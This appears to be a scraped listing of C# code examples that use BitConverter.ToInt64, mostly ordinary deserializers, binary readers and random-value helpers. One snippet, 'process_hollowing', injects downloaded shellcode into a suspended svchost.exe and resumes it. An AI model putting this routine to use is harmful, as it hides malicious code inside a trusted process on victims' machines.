System.BitConverter.ToInt64(byte[], int)

Here are the examples of the csharp api System.BitConverter.ToInt64(byte[], int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

837 Examples 7

19 Source : Protocol16Deserializer.cs
with MIT License
from 0blu

private static long DeserializeLong(Protocol16Stream input)
        {
            var buffer = _byteBuffer.Value;
            input.Read(buffer, 0, sizeof(long));

            if (BitConverter.IsLittleEndian)
            {
                return (long)buffer[0] << 56 | (long)buffer[1] << 48 | (long)buffer[2] << 40 | (long)buffer[3] << 32 | (long)buffer[4] << 24 | (long)buffer[5] << 16 | (long)buffer[6] << 8 | buffer[7];
            }

            return BitConverter.ToInt64(buffer, 0);
        }

19 Source : SQLite.cs
with GNU General Public License v3.0
from 0xfd3

private long CVL(int startIndex, int endIndex)
        {
            endIndex++;
            byte[] buffer = new byte[8];
            int num4 = endIndex - startIndex;
            bool flag = false;
            if ((num4 == 0) | (num4 > 9))
            {
                return 0L;
            }
            if (num4 == 1)
            {
                buffer[0] = (byte)(this.db_bytes[startIndex] & 0x7f);
                return BitConverter.ToInt64(buffer, 0);
            }
            if (num4 == 9)
            {
                flag = true;
            }
            int num2 = 1;
            int num3 = 7;
            int index = 0;
            if (flag)
            {
                buffer[0] = this.db_bytes[endIndex - 1];
                endIndex--;
                index = 1;
            }
            int num7 = startIndex;
            for (int i = endIndex - 1; i >= num7; i += -1)
            {
                if ((i - 1) >= startIndex)
                {
                    buffer[index] = (byte)((((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2)) | ((byte)(this.db_bytes[i - 1] << (num3 & 7))));
                    num2++;
                    index++;
                    num3--;
                }
                else if (!flag)
                {
                    buffer[index] = (byte)(((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2));
                }
            }
            return BitConverter.ToInt64(buffer, 0);
        }

19 Source : Program.cs
with MIT License
from 0xDivyanshu

static int process_hollowing(string location, int encryption, string preplacedword)
        {
            STARTUPINFO si = new STARTUPINFO();
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);
            if (res == false)
            {
                Console.WriteLine("[!] Error creating svchosts.exe");
                return -1;
            }
            PROCESS_BASIC_INFORMATION pib = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;

            IntPtr hProcess = pi.hProcess;
            ZwQueryInformationProcess(hProcess, 0, ref pib, (uint)(UIntPtr.Size * 6), ref tmp);

            IntPtr PointerToPE = (IntPtr)((Int64)pib.PebBaseAddress + 0x10);
            byte[] addrBuf = new byte[IntPtr.Size];

            IntPtr nRead = IntPtr.Zero;
            ReadProcessMemory(hProcess, PointerToPE, addrBuf, addrBuf.Length, out nRead);
            IntPtr SvcHostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));

            byte[] data = new byte[0x200];
            ReadProcessMemory(hProcess, SvcHostBase, data, data.Length, out nRead);

            uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);
            uint opthdr = e_lfanew_offset + 0x28;
            uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)SvcHostBase);

            // Get shellcode bytes from localtion
            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead);
            ResumeThread(pi.hThread);
            return 0;
        }

19 Source : RandomHelper.cs
with MIT License
from 1996v

public static object RandomValue(this Type t, bool stringValueAllowEmpty = true)
        {
            if (t.IsPrimitive)
            {
                if (t == typeof(byte))
                {
                    return (byte)(Rand.Next(byte.MaxValue - byte.MinValue + 1) + byte.MinValue);
                }

                if (t == typeof(sbyte))
                {
                    return (sbyte)(Rand.Next(sbyte.MaxValue - sbyte.MinValue + 1) + sbyte.MinValue);
                }

                if (t == typeof(short))
                {
                    return (short)(Rand.Next(short.MaxValue - short.MinValue + 1) + short.MinValue);
                }

                if (t == typeof(ushort))
                {
                    return (ushort)(Rand.Next(ushort.MaxValue - ushort.MinValue + 1) + ushort.MinValue);
                }

                if (t == typeof(int))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt32(bytes, 0);
                }

                if (t == typeof(uint))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt32(bytes, 0);
                }

                if (t == typeof(long))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt64(bytes, 0);
                }

                if (t == typeof(ulong))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt64(bytes, 0);
                }

                if (t == typeof(float))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    var f = BitConverter.ToSingle(bytes, 0);
                    if (float.IsNaN(f))
                        f = (float)RandomValue<short>();
                    return f;
                }

                if (t == typeof(double))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    var d= BitConverter.ToDouble(bytes, 0);
                    if (double.IsNaN(d))
                        d = (double)RandomValue<short>();
                    return d;
                }

                if (t == typeof(char))
                {
                    var roll = Rand.Next(ASCII.Length);

                    return ASCII[roll];
                }

                if (t == typeof(bool))
                {
                    return (Rand.Next(2) == 1);
                }

                throw new InvalidOperationException();
            }

            if (t == typeof(decimal))
            {
                return new decimal((int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), false, 28);
            }

            if (t == typeof(string))
            {
                int start = stringValueAllowEmpty ? 0 : 1;
                var len = Rand.Next(start, 40);
                var c = new char[len];
                for (var i = 0; i < c.Length; i++)
                {
                    c[i] = (char)typeof(char).RandomValue();
                }

                return new string(c);
            }

            if (t == typeof(DateTime))
            {
                var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);

                var bytes = new byte[4];
                Rand.NextBytes(bytes);

                var secsOffset = BitConverter.ToInt32(bytes, 0);

                var retDate = epoch.AddSeconds(secsOffset);

                return retDate;
            }

            if (t == typeof(TimeSpan))
            {
                return new TimeSpan(RandomValue<DateTime>().Ticks);
            }

            if (t == typeof(DataTable))
            {
                DataTable dt = new DataTable();
                int coluCount = Rand.Next(10, 30);
                for (int i = 0; i < coluCount; i++)
                {
                    string n = RandomHelper.RandomValue<string>(false);
                    while(dt.Columns.Contains(n))
                        n = RandomHelper.RandomValue<string>(false);
                    dt.Columns.Add(n, typeof(object));
                }
                int rowCount = Rand.Next(20, 50);
                for (int i = 0; i < rowCount; i++)
                {
                    var row = new object[coluCount];
                    for (int zi = 0; zi < coluCount; zi++)
                    {
                        row[zi] = RandomHelper.RandomValue<object>();
                    }
                    dt.Rows.Add(row);
                }
                return dt;
            }

            if (t.IsNullable())
            {
                // leave it unset
                if (Rand.Next(2) == 0)
                {
                    // null!
                    return Activator.CreateInstance(t);
                }

                var underlying = Nullable.GetUnderlyingType(t);
                var val = underlying.RandomValue(stringValueAllowEmpty);

                var cons = t.GetConstructor(new[] { underlying });

                return cons.Invoke(new object[] { val });
            }

            if (t.IsEnum)
            {
                var allValues = Enum.GetValues(t);
                var ix = Rand.Next(allValues.Length);

                return allValues.GetValue(ix);
            }

            if (t.IsArray)
            {
                var valType = t.GetElementType();
                var len = Rand.Next(20, 50);
                var ret = Array.CreateInstance(valType, len);
                //var add = t.GetMethod("SetValue");
                for (var i = 0; i < len; i++)
                {
                    var elem = valType.RandomValue(stringValueAllowEmpty);
                    ret.SetValue(elem, i);
                }

                return ret;
            }

            if (t.IsGenericType)
            {
                var defind = t.GetGenericTypeDefinition();
                if (defind == typeof(HashSet<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("Contains");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        while (elem == null || (bool)contains.Invoke(ret, new object[] { elem }))
                            elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(Dictionary<,>))
                {
                    var keyType = t.GetGenericArguments()[0];
                    var valType = t.GetGenericArguments()[1];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("ContainsKey");

                    var len = Rand.Next(20, 50);
                    if (keyType == typeof(Boolean))
                        len = 2;
                    for (var i = 0; i < len; i++)
                    {
                        var val = valType.RandomValue(stringValueAllowEmpty);
                        var key = keyType.RandomValue(stringValueAllowEmpty);
                       

                        while (key == null || (bool)contains.Invoke(ret, new object[] { key }))
                            key = keyType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { key, val });
                    }

                    return ret;
                }
                if (defind == typeof(List<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(ArraySegment<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ary = valType.MakeArrayType().RandomValue(stringValueAllowEmpty);
                    var lenT = ary.GetType().GetProperty("Length");
                    var offset = Rand.Next(0, (int)lenT.GetValue(ary) - 1);
                    var len = (int)lenT.GetValue(ary) - offset;

                    return Activator.CreateInstance(t, ary, offset, len);
                }
            }

            if (t == typeof(Guid))
                return Guid.NewGuid();

            if (t == typeof(object))
            {
                var code = Rand.Next(0, 9);
                switch (code)
                {
                    case 0:
                        return RandomValue<int>();
                    case 1:
                        return RandomValue<long>();
                    case 2:
                        return RandomValue<Char>();
                    case 3:
                        return RandomValue<DateTime>();
                    case 4:
                        return RandomValue<string>(stringValueAllowEmpty);
                    case 5:
                        return RandomValue<Guid>();
                    case 6:
                        return RandomValue<decimal>();
                    case 7:
                        return RandomValue<double>();
                    case 8:
                        return RandomValue<float>();
                    default:
                        return RandomValue<short>();
                }
            }

            //model
            var retObj = Activator.CreateInstance(t);
            foreach (var p in t.GetFields())
            {
                //if (Rand.Next(5) == 0) continue;

                var fieldType = p.FieldType;

                p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
            }

            foreach (var p in t.GetProperties())
            {
                //if (Rand.Next(5) == 0) continue;
                if (p.CanWrite && p.CanRead)
                {
                    var fieldType = p.PropertyType;

                    p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
                }
            }

            return retObj;
        }

19 Source : RandomHelper.cs
with MIT License
from 1996v

public static object RandomValue(this Type t, bool stringValueAllowEmpty = true)
        {
            if (t.IsPrimitive)
            {
                if (t == typeof(byte))
                {
                    return (byte)(Rand.Next(byte.MaxValue - byte.MinValue + 1) + byte.MinValue);
                }

                if (t == typeof(sbyte))
                {
                    return (sbyte)(Rand.Next(sbyte.MaxValue - sbyte.MinValue + 1) + sbyte.MinValue);
                }

                if (t == typeof(short))
                {
                    return (short)(Rand.Next(short.MaxValue - short.MinValue + 1) + short.MinValue);
                }

                if (t == typeof(ushort))
                {
                    return (ushort)(Rand.Next(ushort.MaxValue - ushort.MinValue + 1) + ushort.MinValue);
                }

                if (t == typeof(int))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt32(bytes, 0);
                }

                if (t == typeof(uint))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt32(bytes, 0);
                }

                if (t == typeof(long))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToInt64(bytes, 0);
                }

                if (t == typeof(ulong))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    return BitConverter.ToUInt64(bytes, 0);
                }

                if (t == typeof(float))
                {
                    var bytes = new byte[4];
                    Rand.NextBytes(bytes);

                    var f = BitConverter.ToSingle(bytes, 0);
                    if (float.IsNaN(f))
                        f = (float)RandomValue<short>();
                    return f;
                }

                if (t == typeof(double))
                {
                    var bytes = new byte[8];
                    Rand.NextBytes(bytes);

                    var d = BitConverter.ToDouble(bytes, 0);
                    if (double.IsNaN(d))
                        d = (double)RandomValue<short>();
                    return d;
                }

                if (t == typeof(char))
                {
                    var roll = Rand.Next(ASCII.Length);

                    return ASCII[roll];
                }

                if (t == typeof(bool))
                {
                    return (Rand.Next(2) == 1);
                }

                throw new InvalidOperationException();
            }

            if (t == typeof(decimal))
            {
                return new decimal((int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), (int)typeof(int).RandomValue(), false, 28);
            }

            if (t == typeof(string))
            {
                int start = stringValueAllowEmpty ? 0 : 1;
                var len = Rand.Next(start, 28);
                var c = new char[len];
                for (var i = 0; i < c.Length; i++)
                {
                    c[i] = (char)typeof(char).RandomValue();
                }

                return new string(c);
            }

            if (t == typeof(DateTime))
            {
                var epoch = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc);

                var bytes = new byte[4];
                Rand.NextBytes(bytes);

                var secsOffset = BitConverter.ToInt32(bytes, 0);

                var retDate = epoch.AddSeconds(secsOffset);

                return retDate;
            }

            if (t == typeof(TimeSpan))
            {
                return new TimeSpan(RandomValue<DateTime>().Ticks);
            }

            if (t == typeof(DataTable))
            {
                DataTable dt = new DataTable();
                int coluCount = Rand.Next(10, 30);
                for (int i = 0; i < coluCount; i++)
                {
                    dt.Columns.Add(RandomHelper.RandomValue<string>(false), typeof(object));
                }
                int rowCount = Rand.Next(20, 50);
                for (int i = 0; i < rowCount; i++)
                {
                    var row = new object[coluCount];
                    for (int zi = 0; zi < coluCount; zi++)
                    {
                        row[zi] = RandomHelper.RandomValue<object>();
                    }
                    dt.Rows.Add(row);
                }
                return dt;
            }

            if (t.IsNullable())
            {
                // leave it unset
                if (Rand.Next(2) == 0)
                {
                    // null!
                    return Activator.CreateInstance(t);
                }

                var underlying = Nullable.GetUnderlyingType(t);
                var val = underlying.RandomValue(stringValueAllowEmpty);

                var cons = t.GetConstructor(new[] { underlying });

                return cons.Invoke(new object[] { val });
            }

            if (t.IsEnum)
            {
                var allValues = Enum.GetValues(t);
                var ix = Rand.Next(allValues.Length);

                return allValues.GetValue(ix);
            }

            if (t.IsArray)
            {
                var valType = t.GetElementType();
                var len = Rand.Next(20, 50);
                var ret = Array.CreateInstance(valType, len);
                //var add = t.GetMethod("SetValue");
                for (var i = 0; i < len; i++)
                {
                    var elem = valType.RandomValue(stringValueAllowEmpty);
                    ret.SetValue(elem, i);
                }

                return ret;
            }

            if (t.IsGenericType)
            {
                var defind = t.GetGenericTypeDefinition();
                if (defind == typeof(HashSet<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("Contains");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        while (elem == null || (bool)contains.Invoke(ret, new object[] { elem }))
                            elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(Dictionary<,>))
                {
                    var keyType = t.GetGenericArguments()[0];
                    var valType = t.GetGenericArguments()[1];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");
                    var contains = t.GetMethod("ContainsKey");

                    var len = Rand.Next(20, 50);
                    if (keyType == typeof(Boolean))
                        len = 2;
                    for (var i = 0; i < len; i++)
                    {
                        var val = valType.RandomValue(stringValueAllowEmpty);
                        var key = keyType.RandomValue(stringValueAllowEmpty);
                        while (key == null || (bool)contains.Invoke(ret, new object[] { key }))
                            key = keyType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { key, val });
                    }

                    return ret;
                }
                if (defind == typeof(List<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ret = Activator.CreateInstance(t);
                    var add = t.GetMethod("Add");

                    var len = Rand.Next(20, 50);
                    for (var i = 0; i < len; i++)
                    {
                        var elem = valType.RandomValue(stringValueAllowEmpty);
                        add.Invoke(ret, new object[] { elem });
                    }

                    return ret;
                }
                if (defind == typeof(ArraySegment<>))
                {
                    var valType = t.GetGenericArguments()[0];
                    var ary = valType.MakeArrayType().RandomValue(stringValueAllowEmpty);
                    var lenT = ary.GetType().GetProperty("Length");
                    var offset = Rand.Next(0, (int)lenT.GetValue(ary) - 1);
                    var len = (int)lenT.GetValue(ary) - offset;

                    return Activator.CreateInstance(t, ary, offset, len);
                }
            }

            if (t == typeof(Guid))
                return Guid.NewGuid();

            if (t == typeof(object))
            {
                var code = Rand.Next(0, 9);
                switch (code)
                {
                    case 0:
                        return RandomValue<int>();
                    case 1:
                        return RandomValue<long>();
                    case 2:
                        return RandomValue<Char>();
                    case 3:
                        return RandomValue<DateTime>();
                    case 4:
                        return RandomValue<string>(stringValueAllowEmpty);
                    case 5:
                        return RandomValue<Guid>();
                    case 6:
                        return RandomValue<decimal>();
                    case 7:
                        return RandomValue<double>();
                    case 8:
                        return RandomValue<float>();
                    default:
                        return RandomValue<short>();
                }
            }

            //model
            var retObj = Activator.CreateInstance(t);
            foreach (var p in t.GetFields())
            {
                //if (Rand.Next(5) == 0) continue;

                var fieldType = p.FieldType;

                p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
            }

            foreach (var p in t.GetProperties())
            {
                //if (Rand.Next(5) == 0) continue;
                if (p.CanWrite && p.CanRead)
                {
                    var fieldType = p.PropertyType;

                    p.SetValue(retObj, fieldType.RandomValue(stringValueAllowEmpty));
                }
            }

            return retObj;
        }

19 Source : NetworkUtils.cs
with MIT License
from 1ZouLTReX1

public static long DeserializeLong(byte[] data, ref int offset)
    {
        long ret = BitConverter.ToInt64(data, offset);
        offset += sizeof(long);
        return ret;
    }

19 Source : NumberFuzzer.cs
with Apache License 2.0
from 42skillz

public long GenerateLong(long? minValue = null, long? maxValue = null)
        {
            minValue = minValue ?? long.MinValue;
            maxValue = maxValue ?? long.MaxValue;
            
            if (maxValue.Value <= minValue.Value)
            {
                throw new ArgumentOutOfRangeException("maxValue", "maxValue must be > minValue!");
            }

            //Working with ulong so that modulo works correctly with values > long.MaxValue
            var uRange = NumberExtensions.ComputeRange(minValue, maxValue);

            //Prevent a modolo bias; see https://stackoverflow.com/a/10984975/238419
            //for more information.
            //In the worst case, the expected number of calls is 2 (though usually it's
            //much closer to 1) so this loop doesn't really hurt performance at all.
            ulong ulongRand;
            var maxValue1 = ulong.MaxValue - ((ulong.MaxValue % uRange) + 1) % uRange;
            do
            {
                var buf = new byte[8];
                _fuzzer.Random.NextBytes(buf);
                ulongRand = (ulong)BitConverter.ToInt64(buf, 0);
            } while (ulongRand > maxValue1);

            var modulo = (long)(ulongRand % uRange);
            var result = modulo + minValue.Value;

            return result;
        }

19 Source : EndianBinaryReader.cs
with MIT License
from 91Act

public override long ReadInt64()
        {
            if (endian == EndianType.BigEndian)
            {
                a64 = ReadBytes(8);
                Array.Reverse(a64);
                return BitConverter.ToInt64(a64, 0);
            }
            return base.ReadInt64();
        }

19 Source : Store.cs
with MIT License
from abdullin

public long GetCounter() {
            using (var tx = _le.BeginTransaction(TransactionBeginFlags.ReadOnly)) {
                var key = FdbTuple.Create((byte) Tables.SysCounter);
                var val = tx.Get(_ld, key.GetBytes());
                if (val == null) {
                    return 0;
                }

                return BitConverter.ToInt64(val, 0);
            }
        }

19 Source : Deserializer.cs
with MIT License
from ADeltaX

public static long GetInt64(byte[] data, int index = 0) 
            => BitConverter.ToInt64(data, index);

19 Source : Deserializer.cs
with MIT License
from ADeltaX

public static DateTimeOffset GetDateTimeOffset(byte[] data, int index = 0) 
            => DateTimeOffset.FromFileTime(BitConverter.ToInt64(data, index));

19 Source : Deserializer.cs
with MIT License
from ADeltaX

public static TimeSpan GetTimeSpan(byte[] data, int index = 0)
            => new TimeSpan(BitConverter.ToInt64(data, index));

19 Source : FsBufferedReaderWriter.cs
with MIT License
from Adoxio

protected long ReadLength()
		{
			if (this.commitedFileSize > 0)
			{
				return this.commitedFileSize;
			}

			try
			{
				var raw = new byte[sizeof(long)];

				this.fileStream.Seek(this.lengthOffset, SeekOrigin.Begin);
				this.fileStream.Read(raw, 0, raw.Length);
				var value = BitConverter.ToInt64(raw, 0);

				return value;
			}
			catch (IOException)
			{
				return 0;
			}
		}

19 Source : BytesReader.cs
with MIT License
from adrenak

public Int64 ReadLong() {
			var bytes = ReadBytes(8);
			EndianUtility.EndianCorrection(bytes);
			return BitConverter.ToInt64(bytes, 0);
		}

19 Source : Extensions.cs
with MIT License
from adrenak

public static long ToLong(this byte[] bytes) {
            return BitConverter.ToInt64(bytes, 0);
        }

19 Source : ByteExtensions.cs
with MIT License
from AElfProject

public static long ToInt64(this byte[] bytes, bool bigEndian)
        {
            var needReverse = !bigEndian ^ BitConverter.IsLittleEndian;
            return BitConverter.ToInt64(needReverse ? bytes.Reverse().ToArray() : bytes, 0);
        }

19 Source : ExtensionTests.cs
with MIT License
from AElfProject

[Fact]
        public void NumericExtensions_ToBytes_For_long()
        {
            long number = -2;
            var bigEndianBytes = number.ToBytes(true);
            ((int)bigEndianBytes.Last()).ShouldBe(254);
            var numberFromBigEndianBytes = BitConverter.ToInt64(BitConverter.IsLittleEndian ? bigEndianBytes.Reverse().ToArray() : bigEndianBytes);
            numberFromBigEndianBytes.ShouldBe(number);

            var littleEndianBytes = number.ToBytes(false);
            ((int)littleEndianBytes.Last()).ShouldBe(255);
            numberFromBigEndianBytes = BitConverter.ToInt64(BitConverter.IsLittleEndian ? littleEndianBytes: littleEndianBytes.Reverse().ToArray());
            numberFromBigEndianBytes.ShouldBe(number);
        }

19 Source : WinApi.cs
with MIT License
from aerosoul94

public static long GetDiskCapacreplacedy(SafeFileHandle diskHandle)
        {
            byte[] sizeBytes = new byte[8];
            int bytesRet = sizeBytes.Length;
            if (!DeviceIoControl(diskHandle, 0x00000007405C, null, 0, sizeBytes, bytesRet, ref bytesRet, IntPtr.Zero))
            {
                throw new Exception("Failed to get disk size!");
            }
            return BitConverter.ToInt64(sizeBytes, 0);
        }

19 Source : ConversionTablePlugin.cs
with GNU General Public License v2.0
from afrantzis

void Update64bit(DataView dv)
	{
		long offset = dv.CursorOffset;

		// make sure offset is valid
		if (offset < dv.Buffer.Size - 7 && offset >= 0) {
			long val = 0;

			// create buffer for raw bytes
			byte[] ba = new byte[8];

			// fill byte[] according to endianess
			if (littleEndian)
				for (int i = 0; i < 8; i++)
					ba[i] = dv.Buffer[offset+i];
			else
				for (int i = 0; i < 8; i++)
					ba[7-i] = dv.Buffer[offset+i];

			// set signed
			val = BitConverter.ToInt64(ba);
			Signed64bitEntry.Text = val.ToString();

			// set unsigned
			ulong uval = (ulong)val;
			if (unsignedAsHex)
				Unsigned64bitEntry.Text = string.Format("0x{0:x}", uval);
			else
				Unsigned64bitEntry.Text = uval.ToString();
		}
		else {
			Clear64bit();
		}
	}

19 Source : ZFrame.cs
with Mozilla Public License 2.0
from agebullhu

public Int64 ReadInt64()
        {
            var bytes = new byte[8];
            if (Read(bytes, 0, 8) < 8)
            {
                return default(Int64);
            }

            return BitConverter.ToInt64(bytes, 0);
        }

19 Source : ProcessExtensions.cs
with GNU General Public License v3.0
from aglab2

public static bool ReadPointer(this Process process, IntPtr addr, bool is64Bit, out IntPtr val)
        {
            var bytes = new byte[is64Bit ? 8 : 4];

            SizeT read;
            val = IntPtr.Zero;
            if (!WinAPI.ReadProcessMemory(process.Handle, addr, bytes, (SizeT)bytes.Length, out read)
                || read != (SizeT)bytes.Length)
                return false;

            val = is64Bit ? (IntPtr)BitConverter.ToInt64(bytes, 0) : (IntPtr)BitConverter.ToUInt32(bytes, 0);

            return true;
        }

19 Source : AnonymousIdEncoder.cs
with MIT License
from aleripe

internal static AnonymousIdData Decode(string data)
        {
            if (data == null || data.Length < 1)
            {
                return null;
            }

            try
            {
                byte[] blob = Base64UrlEncoder.DecodeBytes(data);

                if (blob == null || blob.Length < 13)
                {
                    return null;
                }

                DateTime expireDate = DateTime.FromFileTimeUtc(BitConverter.ToInt64(blob, 0));

                if (expireDate < DateTime.UtcNow)
                {
                    return null;
                }

                int len = BitConverter.ToInt32(blob, 8);

                if (len < 0 || len > blob.Length - 12)
                {
                    return null;
                }

                string id = Encoding.UTF8.GetString(blob, 12, len);

                return new AnonymousIdData(id, expireDate);
            }
            catch { }

            return null;
        }

19 Source : UnnyNetPacker.cs
with MIT License
from alerdenisov

static public object[] UnpackObject(byte[] bytes, int bytesCount)
    {
        object[] arg = new object[1];
        arg[0] = 0;
        int size = 0;
        int num = HeaderSize;
        try
        {
            while (num < bytesCount)
            {
                switch ((TypeTags)bytes[num++])
                {
                    case TypeTags.IntTag:
                        {
                            if (num + 4 <= bytesCount)
                            {
                                int intValue = System.BitConverter.ToInt32(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = intValue;
                            }
                            num += 4;
                            break;
                        }
                    case TypeTags.FloatTag:
                        {
                            if (num + 4 <= bytesCount)
                            {
                                var floatValue = System.BitConverter.ToSingle(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = floatValue;
                            }
                            num += 4;
                            break;
                        }
                    case TypeTags.Vector3Tag:
                        {
                            if (num + 12 <= bytesCount)
                            {
                                var vecValue = new Vector3();
                                for (int axis = 0; axis < 3; axis++)
                                {
                                    vecValue[axis] = System.BitConverter.ToSingle(bytes, num + (4 * axis));
                                }

                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = vecValue;
                            }
                            num += 12;
                            break;
                        }
                    case TypeTags.UIntTag:
                        {
                            if (num + 4 <= bytesCount)
                            {
                                uint intValue = System.BitConverter.ToUInt32(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = intValue;
                            }
                            num += 4;
                            break;
                        }
                    case TypeTags.LongTag:
                        {
                            if (num + 8 <= bytesCount)
                            {
                                long intValue = System.BitConverter.ToInt64(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = intValue;
                            }
                            num += 8;
                            break;
                        }
                    case TypeTags.ULongTag:
                        {
                            if (num + 8 <= bytesCount)
                            {
                                ulong intValue = System.BitConverter.ToUInt64(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = intValue;
                            }
                            num += 8;
                            break;
                        }
                    case TypeTags.ShortTag:
                        {
                            if (num + 2 <= bytesCount)
                            {
                                short intValue = System.BitConverter.ToInt16(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = intValue;
                            }
                            num += 2;
                            break;
                        }
                    case TypeTags.UShortTag:
                        {
                            if (num + 2 <= bytesCount)
                            {
                                ushort intValue = System.BitConverter.ToUInt16(bytes, num);
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = intValue;
                            }
                            num += 2;
                            break;
                        }
                    case TypeTags.ByteTag:
                        {
                            System.Array.Resize(ref arg, size + 1);
                            arg[size++] = bytes[num++];
                            break;
                        }
                    case TypeTags.SByteTag:
                        {
                            System.Array.Resize(ref arg, size + 1);
                            arg[size++] = (sbyte)bytes[num++];
                            break;
                        }
                    case TypeTags.BoolTag:
                        {
                            System.Array.Resize(ref arg, size + 1);
                            arg[size++] = (bytes[num++] == 1);
                            break;
                        }
                    case TypeTags.StringTag:
                        {
                            if (num + 2 <= bytesCount)
                            {
                                ushort intValue = System.BitConverter.ToUInt16(bytes, num);
                                num += 2;
                                if (num + intValue <= bytesCount)
                                {
                                    System.Array.Resize(ref arg, size + 1);
                                    arg[size++] = System.Text.Encoding.UTF8.GetString(bytes, num, intValue);
                                }
                                num += intValue;
                            }
                            else
                                num += 2;
                            break;
                        }
                    case TypeTags.UShortArraySmall:
                        {
                            byte length = bytes[num++];
                            if (num + 2 * length <= bytesCount)
                            {
                                ushort[] arr = new ushort[length];
                                for (int j = 0; j < length; j++)
                                {
                                    arr[j] = System.BitConverter.ToUInt16(bytes, num);
                                    num += 2;
                                }
                                System.Array.Resize(ref arg, size + 1);
                                arg[size++] = arr;
                            }
                            else
                                num += 2 * length;
                            break;
                        }
                    case TypeTags.UShortArrayBig:
                        {
                            if (num + 2 <= bytesCount)
                            {
                                ushort length = System.BitConverter.ToUInt16(bytes, num);
                                num += 2;

                                if (num + 2 * length <= bytesCount)
                                {
                                    ushort[] arr = new ushort[length];

                                    for (int j = 0; j < length; j++)
                                    {
                                        arr[j] = System.BitConverter.ToUInt16(bytes, num);
                                        num += 2;
                                    }
                                    System.Array.Resize(ref arg, size + 1);
                                    arg[size++] = arr;
                                }
                                else
                                    num += 2 * length;
                            }
                            else
                                num += 2;
                            break;
                        }
                    default:
                        Debug.Log("Couldn't unpack");
                        return arg;
                }
            }
        }
        catch (System.ArgumentException e)
        {
            Debug.Log("e = " + e);
        }
        return arg;
    }

19 Source : BitStream.cs
with MIT License
from Alexander-Scott

public Int48 ReadInt48()
        {
            byte[] bytes = ReadBytes(48);
            Array.Resize(ref bytes, 8);
            Int48 value = BitConverter.ToInt64(bytes, 0);
            return value;
        }

19 Source : BitStream.cs
with MIT License
from Alexander-Scott

public long ReadInt64()
        {
            long value = BitConverter.ToInt64(ReadBytes(64), 0);
            return value;
        }

19 Source : WebassemblyModule.cs
with MIT License
from alexanderkyte

[MethodImpl(MethodImplOptions.AggressiveInlining)]
		protected long Load64Bitreplacedigned64 (int offset) {
			return BitConverter.ToInt64 (this.Copy (offset, 8), 0);
		}

